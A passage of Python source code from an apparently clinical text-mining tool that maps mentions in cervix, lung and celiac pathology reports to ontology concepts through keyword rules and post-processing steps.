link_cervix_leep(mention):\n\t\t\"\"\"\n\t\tLink cervical leep mention to the correct concept \n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: cervical leep concept\n\t\t\"\"\"\n\n\t\tleep_mention = mention.text\n\t\tassert 'leep' in leep_mention\n\t\treturn [[leep_mention, 'loop electrosurgical excision']]\n\n\t@staticmethod\n\tdef link_cervix_conization(mention):\n\t\t\"\"\"\n\t\tLink biopsy portio mention to conization concept\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: conization concept\n\t\t\"\"\"\n\n\t\tconization_mention = mention.text\n\t\tassert 'biopsy' in conization_mention and 'portio' in conization_mention\n\t\treturn [[conization_mention, 'conization']]\n\n\t@staticmethod\n\tdef link_cervix_koilocytes(mention):\n\t\t\"\"\"\n\t\tLink koilocyte mention to koilocytotic squamous cell concept\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: koilocytotic squamous cell concept\n\t\t\"\"\"\n\n\t\tkoilocyte_mention = mention.text\n\t\tassert 'koilocyt' in koilocyte_mention\n\t\treturn [[koilocyte_mention, 'koilocytotic squamous cell']]\n\n\t@staticmethod\n\tdef skip_cervix_infection(mention, debug=False):\n\t\t\"\"\"\n\t\tSkip 'infection' mentions that are associated to 'hpv'\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\t\t\tdebug (bool): whether to keep flags for debugging\n\n\t\tReturns: cervix concept if 'infection' is not associated to 'hpv' or None otherwise\n\t\t\"\"\"\n\n\t\tif mention.text == 'infection': # mention contains 'infection' only -- skip it\n\t\t\treturn [[mention.text, None]]\n\t\telif mention.text == 'viral infection': # mention contains 'viral infection' only -- skip it\n\t\t\treturn [[mention.text, None]]\n\t\telse: # mention contains other terms other than 'infection' -- unhandled\n\t\t\tif debug:\n\t\t\t\tprint('mention contains unhandled \"infection\" mention -- set temp to None')\n\t\t\t\tprint(mention.text)\n\t\t\treturn [[mention.text, None]]\n\n\t# CERVIX SPECIFIC POST PROCESSING OPERATIONS\n\n\tdef ad_hoc_cervix_post_processing(self, mentions_and_concepts):\n\t\t\"\"\"\n\t\tPerform set of post processing operations\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after post processing operations\n\t\t\"\"\"\n\t\tnew_mentions_and_concepts = self.remove_unrelated_adeno_concepts(mentions_and_concepts)\n\t\treturn self.associate_cervix_in_situ_invasive_concepts(new_mentions_and_concepts)\n\n\t@staticmethod\n\tdef remove_unrelated_adeno_concepts(mentions_and_concepts):\n\t\t\"\"\"\n\t\tRemove mentions containing terms unrelated to cervical adenocarcinoma.\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after unrelated adenocarcinoma removal\n\t\t\"\"\"\n\n\t\tnew_mentions_and_concepts = []\n\t\tadeno = ['cervical adenocarcinoma in situ', 'cervical adenocarcinoma']\n\n\t\tfor m_and_c in mentions_and_concepts:\n\t\t\tif m_and_c[1] in adeno: # concept refers to 'adenocarcinoma'\n\t\t\t\tif 'adeno' in m_and_c[0]: # mention refers to 'adenocarcinoma'\n\t\t\t\t\t# mention related to adenocarcinoma -- keep it\n\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\telse:\n\t\t\t\t\t# mention not related to adenocarcinoma -- remove it\n\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\telse:\n\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\treturn new_mentions_and_concepts\n\n\t@staticmethod\n\tdef associate_cervix_in_situ_invasive_concepts(mentions_and_concepts):\n\t\t\"\"\"\n\t\tAssociate in situ/invasive cervical adenocarcinoma to the corresponding concepts\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after in situ/invasive association\n\t\t\"\"\"\n\n\t\t# set invasive flag\n\t\tinvasive = any([m_and_c for m_and_c in mentions_and_concepts if 'invasive' in m_and_c[0]])\n\t\t# remove 'invasive' or 'invasive growth' from mentions_and_concepts\n\t\tixs = [\n\t\t\tix for ix, m_and_c in enumerate(mentions_and_concepts)\n\t\t\tif 'invasive' == m_and_c[0] or 'invasive growth' == m_and_c[0] or 'growth invasive' == m_and_c[0]]\n\t\tnew_mentions_and_concepts = []\n\t\tfor ix, m_and_c in enumerate(mentions_and_concepts):\n\t\t\tif ix in ixs: # skip m_and_c because it refers to invasive mentions\n\t\t\t\tcontinue\n\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\n\t\t# set squamous cell carcinoma/adenocarcinoma in situ and invasive concepts\n\t\tsqcc = ['squamous carcinoma in situ', 'cervical squamous cell carcinoma']\n\t\tadeno = ['cervical adenocarcinoma in situ', 'cervical adenocarcinoma']\n\n\t\t# get squamous cell carcinoma/adenocarcinoma mentions and concepts\n\t\tsqcc_mcs = [(ix, m_and_c) for ix, m_and_c in enumerate(new_mentions_and_concepts) if m_and_c[1] in sqcc]\n\t\tadeno_mcs = [(ix, m_and_c) for ix, m_and_c in enumerate(new_mentions_and_concepts) if m_and_c[1] in adeno]\n\n\t\t# replace wrong in situ/invasive concepts when found\n\t\tif invasive: # invasive squamous cell carcinoma or adenocarcinoma\n\t\t\tfor (ix, m_and_c) in sqcc_mcs: # loop over squamous cell carcinoma mentions\n\t\t\t\tif m_and_c[1] == sqcc[0]: # sqcc in situ found\n\t\t\t\t\tif 'in situ' in m_and_c[0]: # keep in situ as contained within mention\n\t\t\t\t\t\tcontinue\n\t\t\t\t\telse: # replace sqcc in situ with sqcc invasive\n\t\t\t\t\t\tnew_mentions_and_concepts[ix] = [m_and_c[0], sqcc[1]]\n\t\t\tfor (ix, m_and_c) in adeno_mcs: # loop over cervical adenocarcinoma mentions\n\t\t\t\tif m_and_c[1] == adeno[0]: # adeno in situ found\n\t\t\t\t\tif 'in situ' in m_and_c[0]: # keep in situ as contained within mention\n\t\t\t\t\t\tcontinue\n\t\t\t\t\telse: # replace adeno in situ with adeno invasive\n\t\t\t\t\t\tnew_mentions_and_concepts[ix] = [m_and_c[0], adeno[1]]\n\t\telse: # in situ squamous cell carcinoma or adenocarcinoma\n\t\t\tfor (ix, m_and_c) in sqcc_mcs: # loop over squamous cell carcinoma mentions\n\t\t\t\tif m_and_c[1] == sqcc[1]: # sqcc invasive found\n\t\t\t\t\t# replace sqcc invasive with sqcc in situ\n\t\t\t\t\tnew_mentions_and_concepts[ix] = [m_and_c[0], sqcc[0]]\n\t\t\tfor (ix, m_and_c) in adeno_mcs: # loop over cervical adenocarcinoma mentions\n\t\t\t\tif m_and_c[1] == adeno[1]: # adeno invasive found\n\t\t\t\t\t# replace adeno invasive with adeno in situ\n\t\t\t\t\tnew_mentions_and_concepts[ix] = [m_and_c[0], adeno[0]]\n\t\t# return post processed mentions and concepts\n\t\treturn new_mentions_and_concepts\n\n\t# LUNG SPECIFIC LINKING FUNCTIONS\n\n\tdef ad_hoc_lung_linking(self, mention, labels, sim_thr=0.7, debug=False):\n\t\t\"\"\"\n\t\tPerform set of lung ad hoc linking functions\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\t\t\tlabels (list(spacy.token.span.Span)): list of concept labels from reference ontology\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\t\t\tdebug (bool): whether to keep flags for debugging\n\n\t\tReturns: matched ontology concept label(s)\n\t\t\"\"\"\n\n\t\tif 'neuroendocrine' in mention.text: # mention (possibly) contains 'neuroendocrine carcinoma'\n\t\t\treturn self.link_lung_neuroendocrine_carcinoma(mention, debug)\n\t\telif 'large' in mention.text and 'cell' in mention.text: # mention (possibly) contains 'large cell carcinoma'\n\t\t\treturn self.link_lung_large_carcinoma(mention)\n\t\telif 'squamo' in mention.text: # mention (possibly) contains 'squamous carcinoma' or 'squamocellular carcinoma'\n\t\t\treturn self.link_lung_squamous_carcinoma(mention)\n\t\telif 'adenocarcinoma' in mention.text or 'metasta' in mention.text: # mention contains 'adenocarcinoma' or (possibly) 'metastatic neoplasm'\n\t\t\treturn self.link_lung_adenocarcinoma(mention, debug)\n\t\telif 'pleomorphic carcinoma' in mention.text or 'pleomorphic cancer' in mention.text: # mention contains 'pleomorphic carcinoma'\n\t\t\treturn self.link_lung_pleomorphic_carcinoma(mention)\n\t\telif 'neoplasm' in mention.text: # mention contains 'neoplasm'\n\t\t\treturn self.link_lung_neoplasm(mention)\n\t\telse: # none of the ad hoc functions was required -- perform similarity-based linking\n\t\t\treturn self.associate_mention2candidate(mention, labels, sim_thr)\n\n\t@staticmethod\n\tdef link_lung_large_carcinoma(mention):\n\t\t\"\"\"\n\t\tLink large cell carcinoma mentions to the correct concepts\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (large cell carcinoma) entity mention extracted from text\n\n\t\tReturns: return large cell carcinoma concept\n\t\t\"\"\"\n\t\t\n\t\tassert 'large' in mention.text and 'cell' in mention.text # mention possibly refers to large cell carcinoma\n\t\tif 'carcinoma' in mention.text or 'cancer' in mention.text or 'tumor' in mention.text: # mention refers to large cell carcinoma\n\t\t\treturn [[mention.text, 'lung large cell carcinoma']]\n\t\telse: # mention does not refer to large cell carcinoma\n\t\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_lung_squamous_carcinoma(mention):\n\t\t\"\"\"\n\t\tLink squamous/squamocellular carcinoma mentions to the correct concepts\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (squamous/squamocellular carcinoma) entity mention extracted from text\n\n\t\tReturns: return squamocellular carcinoma concept\n\t\t\"\"\"\n\n\t\tif 'squamous' in mention.text: # mention possibly refers to squamous carcinoma\n\t\t\tif 'carcinoma' in mention.text or 'cancer' in mention.text or 'tumor' in mention.text: # mention refers to squamous carcinoma\n\t\t\t\treturn [[mention.text, 'non-small cell squamous lung carcinoma']]\n\t\t\telse: # mention does not refer to squamous carcinoma\n\t\t\t\treturn [[mention.text, None]]\n\t\telif 'squamocellular' in mention.text: # mention possibly refers to squamocellular carcinoma\n\t\t\tif 'carcinoma' in mention.text or 'cancer' in mention.text or 'tumor' in mention.text: # mention refers to squamocellular carcinoma\n\t\t\t\treturn [[mention.text, 'non-small cell squamous lung carcinoma']]\n\t\t\telse: # mention does not refer to squamocellular carcinoma\n\t\t\t\treturn [[mention.text, None]]\n\t\telse: # mention does not refer to squamous/squamocellular carcinoma\n\t\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_lung_adenocarcinoma(mention, debug=False):\n\t\t\"\"\"\n\t\tLink lung adenocarcinoma mentions to the correct concepts\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (adenocarcinoma) entity mention extracted from text\n\t\t\tdebug (bool): whether to keep flags for debugging\n\n\t\tReturns: return lung adenocarcinoma concept\n\t\t\"\"\"\n\n\t\tassert 'adenocarcinoma' in mention.text or 'metasta' in mention.text\n\t\tif 'adenocarcinoma' in mention.text: # mention contains adenocarcinoma\n\t\t\tif 'clear cell' in mention.text or 'clear-cell' in mention.text: # mention refers to clear cell adenocarcinoma\n\t\t\t\treturn [[mention.text, 'clear cell adenocarcinoma']]\n\t\t\telse: # mention refers to lung adenocarcinoma (general)\n\t\t\t\treturn [[mention.text, 'lung adenocarcinoma']]\n\t\telse: # mention (possibly) refers to metastatic neoplasm\n\t\t\tif 'neoplasm' in mention.text or 'tumor' in mention.text or 'disease' in mention.text or 'metastasis' in mention.text: # mention refers to metastatic neoplasm\n\t\t\t\treturn [[mention.text, 'metastatic neoplasm']]\n\t\t\telse: # mention does not contain terms related to metastatic neoplasm -- unhandled\n\t\t\t\tif debug:\n\t\t\t\t\tprint('mention does not contain terms related to metastatic neoplasm -- set temp to None')\n\t\t\t\t\tprint(mention.text)\n\t\t\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_lung_pleomorphic_carcinoma(mention):\n\t\t\"\"\"\n\t\tLink pleomorphic carcinoma mentions to non-small cell lung carcinoma\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (pleomorphic carcinoma) entity mention extracted from text\n\n\t\tReturns: return non-small cell lung carcinoma concept\n\t\t\"\"\"\n\n\t\tpleomorphic_mention = mention.text\n\t\tassert 'pleomorphic' in pleomorphic_mention\n\t\treturn [[pleomorphic_mention, 'non-small cell lung carcinoma']]\n\n\t@staticmethod\n\tdef link_lung_neoplasm(mention):\n\t\t\"\"\"\n\t\tLink neoplasm mentions to malignant lung neoplasm\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (neoplasm) entity mention extracted from text\n\n\t\tReturns: return malignant lung neoplasm\n\t\t\"\"\"\n\n\t\tneoplasm_mention = mention.text\n\t\tassert 'neoplasm' in neoplasm_mention\n\t\treturn [[neoplasm_mention, 'malignant lung neoplasm']]\n\n\t@staticmethod\n\tdef link_lung_neuroendocrine_carcinoma(mention, debug=False):\n\t\t\"\"\"\n\t\tLink neuroendocrine carcinoma mentions to the correct concepts\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (neuroendocrine carcinoma) entity mention extracted from text\n\t\t\tdebug (bool): whether to keep flags for debugging\n\n\t\tReturns: return correct concept\n\t\t\"\"\"\n\n\t\tassert 'neuroendocrine' in mention.text # mention possibly refers to neuroendocrine carcinoma\n\t\tif 'carcinoma' in mention.text or 'cancer' in mention.text or 'tumor' in mention.text: # mention refers to neuroendocrine carcinoma\n\t\t\tif 'large' in mention.text and 'cell' in mention.text: # mention refers to large cell neuroendocrine carcinoma\n\t\t\t\treturn [[mention.text, 'lung large cell carcinoma']]\n\t\t\telif 'non' in mention.text and 'small' in mention.text and 'cell' in mention.text: # mention refers to non-small cell neuroendocrine carcinoma\n\t\t\t\treturn [[mention.text, 'non-small cell lung carcinoma']]\n\t\t\telif 'small' in mention.text and 'cell' in mention.text: # mention refers to small cell neuroendocrine carcinoma\n\t\t\t\treturn [[mention.text, 'small cell lung carcinoma']]\n\t\t\telse: # mention does not refer to neither large nor small cell carcinoma\n\t\t\t\treturn [[mention.text, 'lung carcinoma']]\n\t\telse: # mention does not contain enough terms to identify neuroendocrine carcinoma -- unhandled\n\t\t\tif debug:\n\t\t\t\tprint('mention does not contain enough terms to identify neuroendocrine carcinoma -- set temp to None')\n\t\t\t\tprint(mention.text)\n\t\t\treturn [[mention.text, None]]\n\n\t# LUNG SPECIFIC POST PROCESSING OPERATIONS\n\n\tdef ad_hoc_lung_post_processing(self, mentions_and_concepts):\n\t\t\"\"\"\n\t\tPerform set of post processing operations\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after post processing operations\n\t\t\"\"\"\n\n\t\tnew_mentions_and_concepts = self.remove_lung_cell_unrelated_concepts(mentions_and_concepts)\n\t\tnew_mentions_and_concepts = self.remove_lung_neoplasm_unrelated_concepts(new_mentions_and_concepts)\n\t\treturn new_mentions_and_concepts\n\n\t@staticmethod\n\tdef remove_lung_cell_unrelated_concepts(mentions_and_concepts):\n\t\t\"\"\"\n\t\tRemove mentions containing terms unrelated to cell-based carcinoma\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after unrelated cell-based carcinoma removal\n\t\t\"\"\"\n\n\t\tnew_mentions_and_concepts = []\n\t\tfor m_and_c in mentions_and_concepts:\n\t\t\tif 'small cell lung carcinoma' == m_and_c[1]: # mention refers to 'small cell lung carcinoma'\n\t\t\t\tif 'small' in m_and_c[0] and 'cell' in m_and_c[0]: # mention contains small cell\n\t\t\t\t\tif 'carcinoma' in m_and_c[0] or 'cancer' in m_and_c[0] or 'tumor' in m_and_c[0]: # mention related to cancer -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse: # mention not related to cancer -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telse: # mention does not contain small cell -- remove it\n\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\telif 'non-small cell lung carcinoma' == m_and_c[1]: # mention refers to 'non-small cell lung carcinoma'\n\t\t\t\tif 'non' in m_and_c[0] and 'small' in m_and_c[0] and 'cell' in m_and_c[0]: # mention contains non[-]small cell\n\t\t\t\t\tif 'carcinoma' in m_and_c[0] or 'cancer' in m_and_c[0] or 'tumor' in m_and_c[0]: # mention related to cancer -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse: # mention not related to cancer -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telse: # mention does not contain non[-]small cell -- remove it\n\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\telif 'lung large cell carcinoma' == m_and_c[1]: # mention refers to 'lung large cell carcinoma'\n\t\t\t\tif 'large' in m_and_c[0] and 'cell' in m_and_c[0]: # mention contains large cell\n\t\t\t\t\tif 'carcinoma' in m_and_c[0] or 'cancer' in m_and_c[0] or 'tumor' in m_and_c[0]: # mention related to cancer -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse: # mention not related to cancer -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telse: # mention does not contain large cell -- remove it\n\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\telif 'clear cell adenocarcinoma' == m_and_c[1]: # mention refers to 'clear cell adenocarcinoma'\n\t\t\t\tif 'clear' in m_and_c[0] and 'cell' in m_and_c[0]: # mention contains clear cell\n\t\t\t\t\tif 'adenocarcinoma' in m_and_c[0]: # mention related to adenocarcinoma -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse: # mention not related to adenocarcinoma -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telse: # mention does not contain clear cell -- remove it\n\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\telse: # concept not part of cell-based carcinoma concepts -- keep it\n\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t# return post processed mentions and concepts\n\t\treturn new_mentions_and_concepts\n\n\t@staticmethod\n\tdef remove_lung_neoplasm_unrelated_concepts(mentions_and_concepts):\n\t\t\"\"\"\n\t\tRemove mentions containing terms unrelated to neoplasm\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after unrelated neoplasm removal\n\t\t\"\"\"\n\n\t\tnew_mentions_and_concepts = []\n\t\tfor m_and_c in mentions_and_concepts:\n\t\t\tif 'malignant lung neoplasm' == m_and_c[1]: # mention refers to 'malignant lung neoplasm'\n\t\t\t\tif 'neoplasm' in m_and_c[0]: # mention related to neoplasm -- keep it\n\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\telse: # mention not related to neoplasm -- remove it\n\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\telif 'metastatic neoplasm' == m_and_c[1]: # mention refers to 'metastatic neoplasm'\n\t\t\t\tif 'neoplasm' in m_and_c[0] or 'metastasis' in m_and_c[0] or 'disease' in m_and_c[0]: # mention related to neoplasm -- keep it\n\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\telse: # mention not related to neoplasm -- remove it\n\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\telse: # concept not part of neoplasm concepts -- keep it\n\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t# return post processed mentions and concepts\n\t\treturn new_mentions_and_concepts\n\n\t# CELIAC SPECIFIC LINKING FUNCTIONS\n\n\tdef ad_hoc_celiac_linking(self, mention, labels, sim_thr=0.7, debug=False):\n\t\t\"\"\"\n\t\tPerform set of celiac ad hoc linking functions\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\t\t\tlabels (list(spacy.token.span.Span)): list of concept labels from reference ontology\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\t\t\tdebug (bool): whether to keep flags for debugging\n\n\t\tReturns: matched ontology concept label(s)\n\t\t\"\"\"\n\t\tfindings = ['granulocyte', 'eosinophil', 'neutrophil', 'leukocyte', 'lymphocyte', 'enterocyte']\n\t\tmucosa_abnormalities = ['edema', 'mucosa', 'hyperemic', 'hyperaemia']\n\t\tceliac_synonyms = ['celiac disease', 'malabsorb disease', 'gluten hypersensitivity', 'marsh']\n\t\tnegative_trigs = ['normal', 'no abnormalities', 'without abnormalities']\n\t\tif 'cd3' in mention.text: # mention contains 'cd3'\n\t\t\treturn self.link_cd3_test(mention)\n\t\telif 'her2' in mention.text: # mention contains 'her2'\n\t\t\treturn self.link_her2_test(mention)\n\t\telif any(key in mention.text for key in celiac_synonyms): # mention contains 'celiac disease'\n\t\t\treturn self.link_celiac_disease(mention)\n\t\telif 'duodenitis' in mention.text: # mention contains 'duodenitis'\n\t\t\treturn self.link_duodenitis(mention)\n\t\telif 'gland' in mention.text or 'hyperplasia' in mention.text: # mention contains 'glands' or 'hyperplasia'\n\t\t\treturn self.link_duodenal_gland(mention)\n\t\telif any(key in mention.text for key in mucosa_abnormalities): # mentions contains a mucosa abnormality\n\t\t\treturn self.link_mucosa_abnormality(mention)\n\t\telif 'heterotopia' in mention.text or 'heterotopic' in mention.text: # mention contains 'heterotopia'\n\t\t\treturn self.link_heterotopia(mention)\n\t\telif 'phlogosis' in mention.text or 'inflammatory' in mention.text: # mention contains 'phlogosis'\n\t\t\treturn self.link_inflammation(mention)\n\t\telif 'congestion' in mention.text: # mention contains 'congestion'\n\t\t\treturn self.link_congestion(mention)\n\t\telif 'ulceration' in mention.text: # mention contains 'ulceration'\n\t\t\treturn self.link_ulcer(mention)\n\t\telif 'erosion' in mention.text: # mention contains 'erosion'\n\t\t\treturn self.link_erosion(mention)\n\t\telif 'atrophy' in mention.text: # mention contains 'atrophy'\n\t\t\treturn self.link_atrophy(mention)\n\t\telif 'flat' in mention.text: # mention contains 'flat'\n\t\t\treturn self.link_flattened_villi(mention)\n\t\telif 'ratio' in mention.text: # mention contains 'ratio'\n\t\t\treturn self.link_crypt_ratio(mention)\n\t\telif 'mitosis' in mention.text: # mention contains 'mitosis'\n\t\t\treturn self.link_mitosis_number(mention)\n\t\telif any(k in mention.text for k in ['height', 'length']): # mention contains information about villi status\n\t\t\treturn self.link_villi_height(mention)\n\t\telif any(k in mention.text for k in findings) or \\\n\t\t\t\tany(k in mention.text for k in findings+['lymphoplasmocitary', 'lymphocital', 'granulocitary']):\n\t\t\t# mention contains celiac findings\n\t\t\treturn self.link_celiac_finding(mention, findings)\n\t\telif 'biopsy' in mention.text: # mention contains 'biopsy'\n\t\t\treturn self.link_biopsy(mention)\n\t\telif 'villo-ghiandular' in mention.text: # mention contains 'villo-ghiandular'\n\t\t\treturn self.link_villi_mucosa(mention)\n\t\telif 'lamina' in mention.text: # mention contains 'lamina'\n\t\t\treturn self.link_duodenal_lamina(mention)\n\t\telif 'epithelium' in mention.text: # mention contains 'epithelium'\n\t\t\treturn self.link_duodenal_epithelium(mention)\n\t\telif 'jejunum' in mention.text: # mention contains 'jejunum'\n\t\t\treturn self.link_jejunum(mention)\n\t\telif 'small intestine' in mention.text: # mention contains 'small intestine'\n\t\t\treturn self.link_small_intestine(mention)\n\t\telif 'duodenal' in mention.text: # mention contains 'duodenal'\n\t\t\treturn self.link_duodenal_location(mention)\n\t\tif any(key in mention.text for key in negative_trigs): # mention contains negative result triggers\n\t\t\treturn self.link_negative_outcome(mention)\n\t\telse: # none of the ad hoc functions was required -- perform similarity-based linking\n\t\t\treturn self.associate_mention2candidate(mention, labels, sim_thr)\n\t\t\t# return [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_cd3_test(mention):\n\t\t\"\"\"\n\t\tLink cd3 to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: cluster of differentation 3 concept.\n\t\t\"\"\"\n\t\treturn [[mention.text, 'cluster of differentation 3']]\n\n\t@staticmethod\n\tdef link_her2_test(mention):\n\t\t\"\"\"\n\t\tLink her2 to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: her2 (cb11) concept.\n\t\t\"\"\"\n\t\treturn [[mention.text, 'her2 (cb11)']]\n\n\t@staticmethod\n\tdef link_duodenal_gland(mention):\n\t\t\"\"\"\n\t\tLink gland mention to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: associated gland concept.\n\t\t\"\"\"\n\t\tgland_mention = mention.text\n\t\tif 'hyperplasia' in gland_mention: # mention contains 'hyperplasia'\n\t\t\treturn [[mention.text, 'brunner\\'s gland hyperplasia']]\n\t\telif 'atrophy' in gland_mention: # mention contains 'atrophy'\n\t\t\treturn [[mention.text, 'glandular atrophy'], [mention.text, 'duodenal gland']]\n\t\telse:\n\t\t\treturn [[mention.text, 'duodenal gland']]\n\n\n\t@staticmethod\n\tdef link_duodenal_lamina(mention):\n\t\t\"\"\"\n\t\tLink lamina to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: duodenal lamina propria concept.\n\t\t\"\"\"\n\t\treturn [[mention.text, 'duodenal lamina propria']]\n\n\t@staticmethod\n\tdef link_duodenal_epithelium(mention):\n\t\t\"\"\"\n\t\tLink epithelium to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: duodenal epithelium concept.\n\t\t\"\"\"\n\t\treturn [[mention.text, 'duodenal epithelium']]\n\n\t@staticmethod\n\tdef link_inflammation(mention):\n\t\t\"\"\"\n\t\tLink phlogosis to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: inflammation concept based on the degree of inflammation.\n\t\t\"\"\"\n\t\tinflammation_mention = mention.text\n\t\tif inflammation_mention == 'phlogosis' or inflammation_mention == 'inflammatory':\n\t\t\treturn [[mention.text, 'inflammation']]\n\t\telif 'acute' in mention.text or 'active' in mention.text or 'activity' in mention.text:\n\t\t\treturn [[mention.text, 'chronic active inflammation']]\n\t\telif 'chronic' in mention.text:\n\t\t\treturn [[mention.text, 'chronic inflammation']]\n\t\telse:\n\t\t\treturn [[mention.text, 'inflammation']]\n\n\t@staticmethod\n\tdef link_celiac_disease(mention):\n\t\t\"\"\"\n\t\tLink celiac disease to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: positive to celiac disease concept.\n\t\t\"\"\"\n\t\ttriggers = ['0', '1', '2', '3', '4']\n\t\tnegative_trigs = ['no indications', 'no evidence', 'no more signs']\n\t\ttype_mention = None\n\t\tif 'type' in mention.text or 'marsh' in mention.text:\n\t\t\t# Check for type inside the mention\n\t\t\tif any(t in mention.text for t in triggers):\n\t\t\t\ttype_text = [tok.text for tok in mention if any(t in tok.text for t in triggers)][0]\n\t\t\t\ttype_mention = [mention.text, 'modified marsh classification of histologic findings in celiac disease', type_text]\n\t\t\t# Check next token\n\t\t\telif mention.end < len(mention.doc) and any(t in mention.doc[mention.end].text for t in triggers):\n\t\t\t\ttype_text = mention.doc[mention.end].text\n\t\t\t\ttype_mention = [mention.text, 'modified marsh classification of histologic findings in celiac disease', type_text]\n\t\tif any(neg in mention.text for neg in negative_trigs):\n\t\t\t# Negative Result\n\t\t\treturn [[mention.text, 'negative result']]\n\t\telif type_mention is not None:\n\t\t\treturn [[mention.text, 'positive to celiac disease'], type_mention]\n\t\telse:\n\t\t\treturn [[mention.text, 'positive to celiac disease']]\n\n\t@staticmethod\n\tdef link_mucosa_abnormality(mention):\n\t\t\"\"\"\n\t\tLink mucosa to the correct concepts.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: duodenal mucosa concept.\n\t\t\"\"\"\n\t\tceliac_mention = mention.text\n\t\tif celiac_mention == 'mucosa':\n\t\t\treturn [[mention.text, 'duodenal mucosa']]\n\t\telif 'antral' in celiac_mention or 'pyloric' in celiac_mention:\n\t\t\treturn [[mention.text, 'mucosa of pyloric antrum']]\n\t\telse:\n\t\t\tabnormality_mentions = []\n\t\t\tif 'mucosa' in celiac_mention:\n\t\t\t\tif 'hyperemi' in celiac_mention:\n\t\t\t\t\tabnormality_mentions.append([mention.text, 'hyperemia'])\n\t\t\t\tif 'edema' in celiac_mention:\n\t\t\t\t\tabnormality_mentions.append([mention.text, 'edema'])\n\t\t\t\treturn [[mention.text, 'duodenal mucosa']] + abnormality_mentions\n\t\t\tif 'hyperemi' in celiac_mention:\n\t\t\t\tabnormality_mentions.append([mention.text, 'hyperemia'])\n\t\t\tif 'edema' in celiac_mention:\n\t\t\t\tabnormality_mentions.append([mention.text, 'edema'])\n\t\t\tif len(abnormality_mentions) > 0:\n\t\t\t\treturn abnormality_mentions\n\t\t\telse:\n\t\t\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_celiac_finding(mention, 